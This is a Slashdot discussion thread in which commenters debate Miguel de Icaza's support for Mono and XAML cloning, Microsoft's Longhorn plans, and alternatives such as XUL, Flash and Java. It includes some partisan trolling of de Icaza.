      Err, didn't we just see MSFT attempt to patent an XML schema for interactivity? So how soon before our overlords in Redmond decide that they hold the patent on "clicking a mouse button" or displaying multiple documents on a single display ? (With the glad hand approval of the W3C no doubt)


      Time to be afraid, very afraid. If it can be described by an XML doc, then MSFT owns it, even if you did it with lowly C code a decade ago...

  47. No this guy is a MSZeelot ! by Anonymous Coward · · Score: 0

    He is pushing MS lockeddown technologies instead of pushing realy free solutions ! He s*cks :(

    By the way, is he a MS stockholder or what ?

  48. Re:Disappointed in Miguel-The good enough train wr by Coryoth · · Score: 5, Insightful

    Now how are they going to force people to give up millions of dollors in investment. Both software and training, let alone the new hardware that may be required (WinTel). For the so far unproven benifits of LongHorn?

    Shiny things. IT management loves shiny things. As long as there are lots of nice shiny features that they can market to death it will sell. The reason the uptake of XP and Server 2003 has been so slow is because they don't really do a hell of a lot more thna Win2k. Yes, there are some nice new bits and pieces, but I don't know of any major shiny new features that actually break any ground.

    On the other hand, Longhorn is their chance to fianlly add some of these "new groundbreaking" features - it's an all out overhaul rather than the incremental stuff that XP and 2003 have been. Of course Longhorn is, for now anyway, the vaporware repository too: "Objected Filesystem? Sure, in Longhorn.", "Graphics card accelerated desktop with scalable graphics? Sure, in Longhorn", "Uncrackable security model, Dancing bears and World peace? Sure, in Longhorn."

    Some of the talked about features will undoubtedly make it in. Avalon, I gather, is making reasonable headway. Some of them might not - every time I hear about WinFS it has been scaled back even further, and will do even less. The point is that there are potentially enough shiny things to impress managment.

    The thing to remember is that management cares about shiny things. Vendor lock in and ensuing extortion, security issues, and pretty much anything that requires contemplating more than a quarter in advance are irrelevant. Look! Shiny things... oooooh.

    Jedidiah.

  49. Java on .NET is an open source reality. by JanusFury · · Score: 4, Informative

    Say hello to IKVM!. It works with Mono and MS's .Net implementation, and has already been demonstrated running full-fledged Java applications like Eclipse, along with translating between aspects of the Java and .NET world. It's a very cool project, and I look forward to seeing it completed.

    --
    using namespace slashdot;
    troll::post();
    1. Re:Java on .NET is an open source reality. by ndykman · · Score: 1

      Well, excellent! I guess somebody not only agreed that it's be a good thing, but actually did the hard part of actually doing it. Best of luck in your efforts.

  50. These MS compatibility projects are a mistake by kzadot · · Score: 2, Interesting

    I think these projects are defeating the open source community and just strenghtening the hold MS has on the industry.

    Imagine a world where one can only use XAML indeed. If XAML is supported fully on linux eventually, MS will make sure that their version is always one step ahead. They have proven in the past, and leaked internal emails that were evidence in the recent european court cases brought out more leaked internal memos, that they deliberatly hide aspects of their APIs to give them an advantage. They deliberatly release bogis example software, and change the API too often, for reasons of confusing the competition rather then legitimate technical reasons.

    They will definatly do this for XAML too, leaving windows as the dominate player in a XAML world at the expense of linux.

    How can we avoid this?

    Simple. The open source community must ignore XAML and .NET as proprietry nonsense. If XAML ends up as a windows only thing, it wont get developer support, and wont take over the world, leaving linux and windows on a more level playing field.

    1. Re:These MS compatibility projects are a mistake by mrchaotica · · Score: 1, Insightful
      If XAML ends up as a windows only thing, it wont get developer support, and wont take over the world, leaving linux and windows on a more level playing field.


      What makes you so sure? After all, MS Office is (almost) a Windows only thing, but .doc sure took over the world. Heck, Windows is a Windows only thing, but it sure took over the world!

      Remember, >90% of the world uses Windows, and Internet Explorer. If businesses can make nice eCommerce sites and things in XAML more easily than any other way, they will, and us Linux users will be screwed!
      --

      "[Regarding the 'cloud,'] ownership was what made America different than Russia." -- Woz

  51. LUXOR by Anonymous Coward · · Score: 0

    "This is a good idea, but XUL is dependant on Mozilla distribution; this will never happen, at least not in the next 1.5 years."

    You'll be waiting for 1.5 years. The rest of us will be using LUXOR

    1. Re:LUXOR by ashot · · Score: 1

      honestly, you are right this fills a similar niche; but
      1. the output looks ugly, and very static
      2. I think applets have always been too heavy for wide spread use full website use (when was the last time you saw an entire wesbite in an applet?) Altough there a few exceptions to what I say (ex: www.sodaplay.com), in general Java applets are ugly, big, unmanagable and unnatractive. Are there examples of luxor webapps?

      --
      -ashot
  52. What's scary? by Jugalator · · Score: 4, Informative

    Longhorn has kind of a scary technology called Avalon, which when compounded with another technology called XAML, it's fairly dangerous. And the reason is that they've made it so it's basically an HTML replacement. The advantage is it's probably as easy as writing HTML, so that means that anybody can produce this content with a text editor.

    The main application code is supposed to be written in a .NET language like C# or VB.NET if I'm not mistaken. Yes, XAML apps are similar to HTML pages, but they, like HTML, also need a scripting part to actually do something and not just be static. And that's what e.g. C# is for.

    --
    Beware: In C++, your friends can see your privates!
    1. Re:What's scary? by gglaze · · Score: 2, Interesting

      Essentially I believe you are correct - however, one minor point for clarification:

      Yes, XAML apps are similar to HTML pages, but they, like HTML, also need a scripting part to actually do something and not just be static.

      I do not believe that the true intention here is for apps to use any sort of "scripting" technology as has been used in past web application platforms such as ASP. It would be more accurate to say that the application code is written in an actual (non-scripting) .NET language, which (I'm only guessing) is then compiled to a binary assembly to run on the .NET CLR. The compiled assembly is most likely downloaded and delivered (partially or completely) over the web along with the XAML page, or perhaps there is some server technology that allows some of this binary to be run from the server without even downloading the assembly.

      The point is, I'm pretty sure we are not talking about *scripting* as the main purpose - although there may also be the ability to do some scripting.

    2. Re:What's scary? by Jugalator · · Score: 1

      No, I was a bit unclear about that. I meant "scripting" in quotes or "the equivalent of scripting in HTML pages". I also understand it like you have -- that it's XAML + .NET language for full fledged applications. My point was mostly just to question what's so scary when the only real easy thing to do is to create a static GUI. Hardly a threat for Linux IMHO.

      --
      Beware: In C++, your friends can see your privates!
  53. MS has funded a new program ... by Anonymous Coward · · Score: 0

    Named "icazathon".

    As a tribute to Icaza support of our .net technology that has improved our world domination, we are lanching the icazathon. This program will act as a worm and collect funds that will be given to the a non-free software fundation based in Redmont,WA. /. has became to MS centric IMHO ! Everyday we got post pusing MS FUD. Who gona stop this ? We should limit the number of post related on the same topic one one week because it does not help to improve the debate and spread FUD and trolls :(

  54. You mean people that empower MS ? by Anonymous Coward · · Score: 0

    We need innovation, not CCing of MS techs ! Icaza has became a MS zeelot, i would not be suprise if he has hidden link with Redmont's firm.

  55. Punk by Anonymous Coward · · Score: 0

    de Icaza is a Microsoft punk - in the literal meaning of the word.

    1. Re:Punk by Anonymous Coward · · Score: 0

      >punk - in the literal meaning of the word.

      What - a piece of decayed wood??

  56. Re:peoplesprimary by Anonymous Coward · · Score: 0

    No. Thanks for trying to be censoring fascist though.

  57. Re:peoplesprimary by Anonymous Coward · · Score: 0

    What's the difference? Is it easier to catch the evasive window on Linux?

  58. Re:Disappointed in Miguel-The good enough train wr by Simon · · Score: 4, Insightful
    Now how are they going to force people to give up millions of dollors in investment. Both software and training, let alone the new hardware that may be required (WinTel). For the so far unproven benifits of LongHorn?

    Shiny things. IT management loves shiny things.

    I'm not sure if that is true these days. I think IT management are looking much closer at what kind of bang per buck they are getting.

    The reason the uptake of XP and Server 2003 has been so slow is because they don't really do a hell of a lot more thna Win2k.

    And this can work to our advantage.

    As far as I can see, the only real benefit of LongHorn to businesses is XAML and its "zero-install over the network" delivery. Businesses are swimming in custom written in-house applications such as billing systems, stock control system, client record systems, etc. I work as a programmer at a web developement business. We specialise in Content Management Systems and basically web based applications. Our clients absolutely love having these applications running centrally on a server while being immediately available (zero install!) on every machine in the office (and out of the office if needed). This is done via a web browser and HTML+Javascript of course. Now, XAML takes this idea and implements it properly and fixes a lot of problems that come with trying to create applications inside a web browser.

    What Mozilla needs to do is get their browser out there and on desktops, but more importantly they need to document(!) and further develop XUL. Try to use it for making business applications like I've mentioned above (not chat clients, get serious). Find out where the weak spots and gaps are and fix and fill them in. At the same time they need to get things working happening on the server side. OSS is strong on the server, but we need proper libraries and support for XUL apps on the server written in Java, PHP, etc hell even C# if really want to use a window webserver. For the love of god Mozilla, get in touch with Apache.org, Tomcat and friends. Create a full and complete platform (server + client) for creating and delivery business/database applications. We already have the big pieces.

    In 2 years time we want IT management to have to decide between:

    • a massive rollout of LongHorn, vendor lockin, expensive licenses and windows lock in all round
    • or just installing Firefox on their desktop systems (2k, XP, Linux, whatever) with minimum impact and cost, and then using their existing servers to serve their applications.

    --
    Simon

  59. How does mono sell servers? by Adolph_Hitler · · Score: 1


    I don't see mono helping Linux compete with Windows in the server market. Novell will do more for Linux, Sun will do more for Linux, Java will do more for Linux.

    Linux is strong in the embeded and server markets, both which are competiting with Microsoft just fine on price value alone. Why do we need to copy everything Microsoft does? Compatibility? Thats the exact same mistake IBM made.

    Mono is unless improved on is going to be a waste. Anyone who cares about compatibility with Windows will most likely use Windows and people who care about price will most likely use Linux.

    --
    People don't exist to serve systems, systems exist to serve people.
  60. It won't work by Adolph_Hitler · · Score: 5, Insightful



    People who upgrade to Longhorn and .Net wont be migrating to Linux anytime soon. So making the migration path is pointless, I say forget these people and go after the people in China, India and other countries where Microsoft lacks the firm grip and slowly finger by finger loosen the grip worldwide and use that leverage to take the market.

    It is a complete waste of time to copy Microsoft and expect to survive, innovative products survive. Apple only outlasted OS2 because of its innovation. It only lasted this long because of innovation.

    --
    People don't exist to serve systems, systems exist to serve people.
    1. Re:It won't work by Anonymous Coward · · Score: 0

      > Apple only outlasted OS2 because of its innovation. It only lasted this long because of innovation.

      Factually speaking, the only reason Apple is still around is because nobody would buy them in the 1990s. And the Mac platform was all they had, they had no choice but to keep plugging away at it (unlike IBM & OS/2).

      And the modern Apple really doesn't innovate that much, except in interior design. Making a slick MP3 player is nice, but it really doesn't compare to designing a handheld computer like the Newton.

    2. Re:It won't work by FatherOfONe · · Score: 1

      I think you miss the point of the previous post. There are many many more developers of open source than any other software company in the world. This includes Microsoft. So why not do both? The people that feel like setting new directions can do so and the people that feel like working on Microsoft stuff can.

      Now, personally I think anyone who would consider running C# in a production environment on a Linux box is a bit weird. Generally people that are looking hard at the Microsoft stuff (.net) will run it on Microsoft servers. I haven't talked to one .Net developer that is looking at running any of their stuff on Linux, and more importantly they would not recommend it to their customers. Now the Java people.... that is another story.... they tend to like Linux a lot.

      --
      The more I learn about science, the more my faith in God increases.
    3. Re:It won't work by westlake · · Score: 1
      There are many many more developers of open source than any other software company in the world. This includes Microsoft.

      On general principles, I prefer hard numbers to vaguely worded generalizations. Competing with Microsoft, it is useful to begin with a coldly realistic estimate of the resources you can bring into the fight.

    4. Re:It won't work by noda132 · · Score: 1

      People who upgrade to Longhorn and .Net wont be migrating to Linux anytime soon. So making the migration path is pointless

      Wow, what a stupid conclusion!

      If there's no migration path from Longhorn, people won't be migrating ever. Starting in 2006-2007, just about every new Windows computer will be a Longhorn computer. That means GNU/Linux would never become widespread.

    5. Re:It won't work by Adolph_Hitler · · Score: 1

      Exactly, some people will never use Linux simply because it doesnt run Microsoft products. Making clones of Microsoft products won't change this. Porting Microsoft word is not as good as developing Open Office and running that.

      --
      People don't exist to serve systems, systems exist to serve people.
  61. New! Improved! by ultrabot · · Score: 1

    The stack that Microsoft is creating will not only empower more people to create more sophisticated applications, but will increase the productivity of application programmers by at least 30% over todays Unix/Linux development stacks!!!

    Not really. We already have Python in our development stack, which is 341% more productive than C#. I only see the productivity improvement over C++, and to lesser extent Java.

    --
    Save your wrists today - switch to Dvorak
  62. Re:all the pieces are in places now, why not just. by Anonymous Coward · · Score: 0

    This'll be just great for dialup users!

  63. Application choice favourable to Gnome. Obviously. by MWelchUK · · Score: 4, Interesting

    Right after saying:

    "We cannot choose one desktop over the other - Gnome or KDE - because there's users for both code bases."

    He then states:

    "We're making the decision it's going to be OpenOffice, the browser it's going to be Mozilla, the email client it's going to be Evolution, the IM client it's going to be Gaim. So we basically have to pick successful open source projects and put them together."

    The problem is that, as far as I know, these tend to be the default applications used on top of the gnome DE. Granted I would install OpenOffice when setting up a computer with KDE, but it would make more sense to use konqueror, kmail(/Kontact) and kopete instead of the other programs. In fact given time and if koffice manage to convert over to the openoffice file format (which I believe they are doing) it might make more sense to install this for basic users, as like the other programs, it is tied in well to the KDE DE. This leads me to the assumption that Novell will eventually, at least in the short run, ship Gnome as the default as KDE will have to load 2 lots of services (it's own + those for OOo/gaim/evolution/mozilla integration) and will thus require many more resources.

    In the long term I hope that this kind of activity will help to unify the two desktops background services, allowing software to be written that works with an equal level of tie-in with both DE, however I guess this will take a long time and lots of carefull negotitation before it happens.

  64. not for open source... by Eneff · · Score: 1

    but Novell is trying to be a competitor to Microsoft. (Or, rather, they've been competiting since Windows NT.)

    Novell's goal is to make a Corporate-friendly server and desktop combination.

    Miguel is scared for Ximian and Novell. Mono is about Ximian and Novell, though the purists will likely get some benefit from it too.

    As for me? I'm glad we have some people to put money into real user testing. We don't need a complex gui to do everything like windows does; after all, that's what we have the CLI for! I think that's the path Ximian and GNOME are taking, and it might be the right idea for all of us.

  65. KDE? by Anonymous Coward · · Score: 0

    I think you mean GNOME, buddy...

  66. Miguel is walking a fine line... by mrchaotica · · Score: 3, Interesting

    There are 2 possiblities: 1. An open standard wins over XAML 2. XAML wins, and becomes a de-facto standard.

    If #1 happens, the Miguel has wasted his time. If #2 happens, the FOSS community will NEED his work to be able to interoperate with the majority of the WWW.

    So, on one hand, cloning XAML hedges our bets, but on the other, it helps XAML gain acceptance, because even the FOSS people can use it.

    So, we want Miguel to continue what he's doing, but we also want him to fail!

    --

    "[Regarding the 'cloud,'] ownership was what made America different than Russia." -- Woz

  67. gDesklets by HogynCymraeg · · Score: 1, Interesting

    gDesklets are the closest thing I've seen to the kind of achitecture microsoft are trying to achieve.

  68. Re:Disappointed in Miguel-The good enough train wr by killjoe · · Score: 3, Interesting

    I want to ask you a very serious question.

    If you have to install a 7 meg browser (mozilla) to make your application work why not just ship an application that updates itself over the network? Better yet why not just write a java web start application. Either way you have to get some sort of a platform installed on each and every machine and keep it updated. maybe if Mozilla could get their act together and come up with a clever way to share a network installed mozilla amongst the desktops we would have a compelling solution. It's a lot easier to distribute an icon to every desktop then a full blown application and it sure would be handy to just upgrade the network copy and go home. Mozilla really needs to look into centralized management of user prefs, plug ins, bookmarks etc.

    Where MS kills you is in forcing people who have windows to install IE and updating IE when they update their windows. Maybe what's needed is a XUL activex plug in so that XUL will work with IE.

    I do agree with you about the database application thing though. 90% of all business applications touch a database.

    --
    evil is as evil does
  69. Speaking of WinFS... by mrchaotica · · Score: 2, Interesting

    When is there going to be an Open Source equivalent or alternative? I agree that WinFS is about the coolest thing that I've ever heard of from Microsoft (not that they necessarily came up with the idea).

    We're trying to compete with .NET and XAML, when are we going to start on Avalon and WinFS? Or, if there is a project going on, where is it?

    --

    "[Regarding the 'cloud,'] ownership was what made America different than Russia." -- Woz

  70. Tried XULmaker yet ? by savuporo · · Score: 2, Informative

    I was looking for a XUL RAD tool myself the other day and came across XULMAKER
    Havent tried it yet, dont know whether its anywhere near mature or not.

    --
    http://validator.w3.org/check?uri=http%3A%2F%2Fwww.slashdot.org Errors found while checking this document as HTML5!
  71. Re:all the pieces are in places now, why not just. by ashot · · Score: 1

    2 things.

    1. In fact flash is fast and compact; when used correctly it can be faster and more adept at transfering large media (precaching, streaming, parallel downloads, download ques, guessing where the user will click, etc).

    2. At one point I think that you are right, the rich interaction and experience that is refered to cannot hold up on the bandwidth provided on the telephone line. But I think that thats ok, because with Voice over IP in a few years we won't need telephone lines, and it will be cheaper to have a DSL line.. but then at that point you will be complaining about the fact that all of the 3d interaction environments take too long to load on your DSL because they are geared towards optical users. =]

    --
    -ashot
  72. Re:peoplesprimary by Anonymous Coward · · Score: 0



    Yes, it definitely captures clipboard data... in fact if you RIGHT CLICK and download the stats.php page AND RENAME IT SO THAT IT ENDS WITH .TXT so that you are not viewing it in your browser (in case they decide to add any evil javascript schenanigans to that page in the future), you will see that it shows IP address and the clipboard buffer contents of previous victims. Nasty.

  73. yaml.org, WIKI-Style URL's by Zeno+Davatz · · Score: 1

    1. Has anybody heard of YAML? That is an XML replacement too. 2. Giving descriptive names to documents is WIKI-Style and makes sense to me. This makes things more human readable and that is good.

  74. Re:all the pieces are in places now, why not just. by gglaze · · Score: 2, Informative

    Avalon is not really about providing dynamic "web pages", which is, at least based on my probably outdated understanding, what Flash is about...

    Avalon is about providing actual *native* Win32 applications, but doing so with a simple XML-based format, and potentially in a way that is deliverable over the internet. The key difference between this and all other browser-based technologies that have preceeded this (including Flash and Applets) is the *native* part. Technically, it has been possible to do truly native stuff from the browser with ActiveX controls, but obviously this is an attempt at a technology which is far more robust, secure, and appropriate for web-based and non-web-based apps.

    Will Avalon replace the need for Flash altogether? Perhaps some day, when "skinning" ability in native windows apps is so strong that you can easily throw a very fancy skin on a custom native win32 app as easily as you could design a Flash app with the same look and feel. But until then, Flash will still have it's place as a framework for "flashy" web-based apps that do not require the native win32 look-and-feel.

    Yes, I know I'm using the word win32 a lot here, along with native - but let me clarify - that is just an example, since we are talking about Avalon within the Windows platform. But obviously once this XAML technology gains the potential to be "native" to any desktop system, such as GTK or KDE - so what I am talking about still applies, and even moreso - we are not talking about providing Flash-based apps that run on the native "Flash platform" which is a plugin inside the browser - we are talking about providing actual native apps that run on the platform of the desktop OS.

    And in the end once the ability to do this becomes as easy (and "standard") as writing HTML, but combines the power of both native apps and fancy customizable look-and-feel of Flash apps, it starts to become clear that this is a new way of doing things over the internet that has the potential to make all of the other technologies in the browser (including HTML and Flash) become legacy.

  75. Re:Application choice favourable to Gnome. Obvious by ashot · · Score: 1

    I agree with everything that you are saying, but I think that putting everyone behind one of these options is in fact advantageous; it will end up favoring one app over the other, but as much as we love competition (and it is ok) one of the biggest problems with using OS solutions for consumers who are new to it is the fact that there are a dozen apps that all do the same thing and overlap in their functionality. There is a real need for standardization.
    Altough, perhaps some sort of democratic process would be a better option; which leads to a more interesting possibity to help unite thoughts and ideas for the OS community. Perhaps there needs to be some sort of website (perhaps a section of sourceforge) which keep track of your ID and your contributions to different projects, allow you to vote on the contributions of parents, etc. Given this score you can use your 'power' to vote on the future direction of projects. This seems to be a great idea to me, particularly if choice was exponentially distrubted towards the top of contributors would give us a unified path and vision. There is also the side benefit of giving people more incentive to contribute to projects (I think this would be surprizingly effective in this regard)... I'd like to know what people involved think of this idea; alas no one will read it.. *sigh*

    --
    -ashot
  76. Re:Application choice favourable to Gnome. Obvious by ashot · · Score: 1

    ok.. I should have read over that one before submitting it.. sorry. =/

    --
    -ashot
  77. Don't get caught in Headlights! by Anonymous Coward · · Score: 1, Interesting

    I've checked out XAML and it appears to be EXACTLY the same as ASP.NET programming.(i.e. better). Microsoft are making web and client development exactly the same, on windows, so that programmers can effectivly do it all. And even non programmers can have a stab at it.

    It's worth noting that XAML is _easier_ to develop in, and for that reason alone, it will do well. I'll repeat that. XAML is easier to develop in so it WILL succeed! Just look at visual basic. Why wouldn't you want an easier life. This is what people want. Easier XML based GUI's. There is no need ,or logic, to a main loop in GUI source code. GUIs are not procedural. They are event based.

    I hear a lot about 'cloning' .Net on linux so that XAML will work cross platform. This is a no hoper. OSS developers will just be constantly playing catch up with quaterly .Net updates and ultimatly it will just promote the EEE policy of MS.

    My advice is _screw_ the .Net platform. Don't be fooled by the managed code aspect. .Net is all about locking people into the MS API's and hence Windows, just like visual basic before it.

    What OSS needs to do is make, from scratch, a cross platform XML based GUI design with Open Source APIs. XGUI or something. It doesn't HAVE to run on .Net or Java or Mozilla or GNOME. It won't inherit a preference for one application. All OSes should be capable of using it. It will be the new way, the better way, the standard way ,of creating GUIs. A process long mired in outdated methods. Basically XML based, with NO MS APIs.

    Never drive by the headlights of the guy in front. Turn on yours.

    P.S. It's me ObsessiveMathsFreak. Can't log in for some ungodly reason

  78. But you missed the point. by Photo_Nut · · Score: 2, Troll

    "Maybe thats what Microsoft is most afraid of, to loose control over the heading of the software industry. Open source have control over web servers and can take control over the protocols on the web if we just do our own thing. If we only follow what Microsoft do we will always be number two and thats no where to be."

    If they (Microsoft's management/people who make the big decisions) are really afraid of losing control of the heading of the software industry, they certainly don't show it. The software industry is ultra-competitive. Microsoft is an ultra-competitive player in that market. They always have been. Bill Gates started by being a key player in the way people developed software for what we think of today as toy or hobby computers. He made the compiler of an easy-to-use language. BASIC became the first programming language that millions of people ever used. And they used Bill's BASIC.

    Bill didn't invent BASIC. He just implemented it, marketed it, and was the first to sell rights to use an implementation of it. That concept of licensing a piece of software was what *made* Microsoft what it is today.

    Bill didn't invent the Operating System, or the Word Processor, or a Web Browser. What Bill did was to enter each of those spaces and offer what people were looking for at the cheapest price with some innovative features. Linux/OSS may be offering an interesting proposition, but the products speak for themselves. Linux/OSS is like the imitation product made by people who are smart enough to figure out how to make a clone and tweak a few things. Now, imagine you are at a counter of a camera store. The salesperson behind the counter shows you a $300 Canon camera, and a $50 Kanan. Do you buy the Kanan, made by people smart enough to roughly clone the original and maybe add a few differences?

    Are Microsoft managers worried about how to keep up earnings and revenue. Sure. Every successful company has leaders who worry about that. But you will note that Microsoft hasn't been firing off its employees like Sun, IBM, et all. Basically, the strategy at Microsoft is to have a deep development pipe. Build it, and sell it, and build it, and sell it. That's what Microsoft is. It's a highly organic code factory. Microsoft has 2 strategies.
    1) Make it work.
    2) Make it depend only on Microsoft technologies.

    Microsoft will never lose control over the heading of its own industry (no, I'm not saying that Microsoft is the whole software industry, just a large industry within it).

    Let me make an analogy. Say I buy a Canon Digital camera. It comes with Canon software. The store that sells me the camera may or may not sell me Canon lenses for the camera, but most people will buy Canon accessories for their Canon camera. In the case of the Digital SLR, Canon Lenses, Canon Flashes, and Canon accessories out-sell the 3rd parties in the Canon market. Now you can say that maybe that is because Canon is better than its 3rd party vendors, or maybe it is because people are afraid of breaking the device with third party stuff, but most people buy 1st part accessories. And if Canon is (as www.dpreview.com's statistics seem to indicate to me) the leader in the market (I own 3 Canon cameras, so I'm quite biased in this regard, but please ignore my bias for argument's sake), then you can imagine that being the leader, the market will follow you. Of course, the only way to stay a leader is to produce more of what people want to buy. Canon's offerings in the digital camera space match Nikon, Kodak, Olympus, Sony, Fuji, Sigma, etc.

    Similarly, Microsoft's offerings match IBM, Novell, Oracle, Sun, etc. Granted, each of these companies competes in different segments of the markets, Microsoft is vertically integrated (depends on products produced by itself) and horizontally integrated (offers products in most/all categories in the industry in which it competes) specifically with regard to software.

    Sony is an example of a company which is similarly vertically and horizontally integrated in th

    1. Re:But you missed the point. by gnu-user · · Score: 1

      Bill didn't invent the Operating System, or the Word Processor, or a Web Browser. What Bill did was to enter each of those spaces and offer what people were looking for at the cheapest price with some innovative features. Linux/OSS may be offering an interesting proposition, but the products speak for themselves. Linux/OSS is like the imitation product made by people who are smart enough to figure out how to make a clone and tweak a few things. Now, imagine you are at a counter of a camera store. The salesperson behind the counter shows you a $300 Canon camera, and a $50 Kanan. Do you buy the Kanan, made by people smart enough to roughly clone the original and maybe add a few differences?


      This summarizes pretty simply as
      1. Bill makes copies something, then it's good
      2. If others copy something, then it's a cheap copy, and not good
      3. Brand name is the measure of all things


      Not particularly persuasive...

      Not to mention any of the vast list of OSS originated ideas that MS copies (often poorly).

      How many UCal Berkley strings are resident in your WIN32 directory?

  79. Snapshot from space. by Anonymous Coward · · Score: 0

    "Remember, >90% of the world uses Windows, and Internet Explorer. "

    Here's some serious questions and I want serious answers. What is your source for that 90+ figure, and how was it determined, as well as how old is it? Plus what is the breakdown figures for that 90? How many are DOS? How many are Win3.11 or WFW? How many are Win95 or 98? How many are W2K and XP? How many will even be capable of handling Microsoft's new technologies? Why should the owners of those machines potentially lose their investment in what they have, for the (at this point) dubious benefits that these technologies promise? Don't you think we should be looking at the whole situation through the eyes of a Windows user, instead of through Linux eyes? What effect will security and patch issues and MS's reaction to them have on their adoption? What about the global picture, and the actions of other nations (China, EU)? How will that affect the adoption of these wonder technologies?

    Why are we taking such a simplistic view of the whole situation, and what does that mean for our strategy when it comes to these new technologies?

  80. You missed a point: by Xenex · · Score: 4, Interesting
    5) Miguel is a big fan of Microsoft, and the only reason he doens't work for them is due to a past immigration technicality.

    Oh, you didn't know that about de Icaza?
    Miguel has told reporters that only an immigration technicality prevented him from becoming a Microsoft employee four years ago - the small print of the H1-B Visa process disqualifies students who haven't completed their degree course.
    Miguel doesn't just like some of Microsoft's ideas - Miguel wishes he were working for them.
    1. Re:You missed a point: by Anonymous Coward · · Score: 0

      Yeah. He kinda looks like a guy who'll end up being employed by Microsoft.

      Good on 'im, I say :)

    2. Re:You missed a point: by doc+modulo · · Score: 4, Insightful

      Miguel doesn't just like some of Microsoft's ideas - Miguel wishes he were working for them.

      Or maybe he's bitter, maybe he doesn't care about not having become an employee.

      What you said was your opinion but you stated it as fact.

      I don't know if he's got good or bad intentions or wether he'll be good or harmful to the Libre software community. We don't have enough info yet I think, at least I haven't looked into it deeply enough to make a judgement.

      That he failed to get a job at Microsoft doesn't say enough to me. Maybe he just wanted to pay some bills.

      --
      - -- Truth addict for life.
    3. Re:You missed a point: by IANAAC · · Score: 1

      I believe Microsoft hires all around the world. If Microsoft wanted him, they would have hired him, regardless of where he lived.

    4. Re:You missed a point: by jsantos · · Score: 1
      6) Nat Friedman (Ximian's co-founder) is a big fan of Microsoft, and the only reason they haven't hired him is... no!, wait, he actually once worked at Microsoft.

      Oh, you didn't know that about Friedman?

      I also learned that Friedman and de Icaza met at Microsoft. Friedman told me that they met while de Icaza was interviewing for the Internet Explorer team in Redmond. Friedman was -- hold on to your hats -- a Microsoft employee at the time, working on the IIS (Microsoft's Web server) project.


      So they fired him, and now he wishes he were working for them... or something.

      It's true! It's written in The Book.

      What I'm trying to say here is: Your post was a non sequitur.
      --
      This signature intentionally left blank
    5. Re: You missed a point: by pohl · · Score: 1
      Miguel has told reporters that only an immigration technicality prevented him from becoming a Microsoft employee four years ago - the small print of the H1-B Visa process disqualifies students who haven't completed their degree course.

      That's amusing. Heck, they could have worked out an under-the-table deal to make him a covert astroturfing shill for .NYET -- I'm sure the H1-B Visa process doesn't prevent one from engaging in a little quid pro quo on the side. Maybe he's living his dream after all, but just can't officially brag about it. <g>

      Conspiracy theories aside, at least now I understand how such a smart guy could make such a profoundly stupid strategic decision like pinning the future of gnome on perpetually playing catch-up-with-microsoft-APIs: it's not a stupid decision -- it's a smart decision made by the opposition. ;-) (HHOS).

      --

      The "cue the foo posts in 3, 2, 1..." posts will commence with no subsequent foo posts in 3, 2, 1...

    6. Re:You missed a point: by Nodatadj · · Score: 1

      Nat was only a summer intern at the time, they didn't fire him, summer ended.

    7. Re:You missed a point: by ckaminski · · Score: 1

      And mono would have been started/spearheaded by someone else (cuz Miguel would have been prohibited, I'm sure, from working on it).

    8. Re:You missed a point: by jsantos · · Score: 1

      And maybe, just maybe, Miguel doesn't wish he were working for Microsoft instead of beind doing what he likes, with whom he likes and probably making quite a bunch of money while he does it. That was the point of my post.

      --
      This signature intentionally left blank
    9. Re:You missed a point: by EdMack · · Score: 1

      We do know enough. Stay alert on Planet Gnome, read some of his writing and you'll see how tuned in he is.

      --
      puts ("Python r0cks\n");
    10. Re:You missed a point: by Anonymous Coward · · Score: 0


      Oh no, not another rational post! Pretty soon we're going to have a rational discussion, and then before you know it a constructive direction to the discussion, and then what's to prevent a possible answer?

      Then all the trolls might have to give up and get lives.

    11. Re:You missed a point: by Slime-dogg · · Score: 1

      I know that I don't have any love for the big behemoth from Redmond, but I'd work for them. They pay well. You get to work on really cool stuff. They have a good working atmosphere, a bit aggressive in the worker-competition department, but overall I've heard good things. That, and you don't have to work for them forever, and lastly, it looks good on your resume.

      MS is good in some ways, bad in others. They are just like any other company (IBM, Sun, Apple, etc). And no, I don't care if Karl Marx says that I'm a slave to money, because I'm one of those really high paid slaves.

      --
      You need to restart your computer. Hold down the Power button for several seconds or press the Restart button.
    12. Re:You missed a point: by bigchris · · Score: 1

      Well, I wouldn't. At least not in development, as I'd like to be able to contribute to the open source community one day, and I'd not want to risk "contaminating" the sources with MS's IPO.

    13. Re:You missed a point: by Nodatadj · · Score: 1

      I wasnt questioning your point (which I agree with, having worked with and for Miguel), I was just pointing out an inaccuracy.

  81. Embracing and Extending [UML] by Anonymous Coward · · Score: 0

    Don't forget the role that UML can play in sandboxing large scale.

    1. Re:Embracing and Extending [UML] by Anonymous Coward · · Score: 0

      If you say so, Yoda.

  82. Re:all the pieces are in places now, why not just. by ashot · · Score: 1

    you seem to agree with me on so many of the details, yet disagree on the final prognosis, so perhaps either you or me (I think you :) are missing something. I will address each of your points seperately.


    Avalon is not really about providing dynamic "web pages", which is, at least based on my probably outdated understanding, what Flash is about...


    Not just dynamic, but rich/interactive. Flash started simply as a way to create easily downloadable vector animations, but it has become much more than that with recent releases of both the Flash player and editing software along with now Flex and MXML. People have been slow to get out of the "flash intro" rut however and realize Flash's potential. There are many reasons for this one of the most prevalent is that coding in Flash has been difficult as the editor (Flash) wasn't menat for coding large projects and also on the flip side of the same coin, most of the people involved with Flash have been 'artists', not coders, and hence the user-base, altough large is not suited in creating the framework and community necessary to create more complex flash apps.
    (notice the lack of responses to this post from slashdotters). Macromedia has been desperatly trying to change this, but has made some serious errors (as I outlined in my original post).


    Avalon is about providing actual *native* Win32 applications, but doing so with a simple XML-based format, and potentially in a way that is deliverable over the internet. The key difference between this and all other browser-based technologies that have preceeded this (including Flash and Applets) is the *native* part. Technically, it has been possible to do truly native stuff from the browser with ActiveX controls, but obviously this is an attempt at a technology which is far more robust, secure, and appropriate for web-based and non-web-based apps.


    Yes thats true, and I did say in my post that the one advantage that MS will have that is not beatable is their ability to provide this sort of seamless solution across local and network based apps; not just in looks but also in communication. However, in the long run this too can be combated. We can provide such a solution using Mono (the same XUL can create both the flash UI and a native front end, and can be comiled either way).. so even this is not totally out of the question. The important thing is that the ability to create rich clients exists in a uniform, cross-platform solution installed in 98.6% of www clients. This is an extremely powerful resource for combating XAML in particular.


    Will Avalon replace the need for Flash altogether? Perhaps some day, when "skinning" ability in native windows apps is so strong that you can easily throw a very fancy skin on a custom native win32 app as easily as you could design a Flash app with the same look and feel. But until then, Flash will still have it's place as a framework for "flashy" web-based apps that do not require the native win32 look-and-feel.


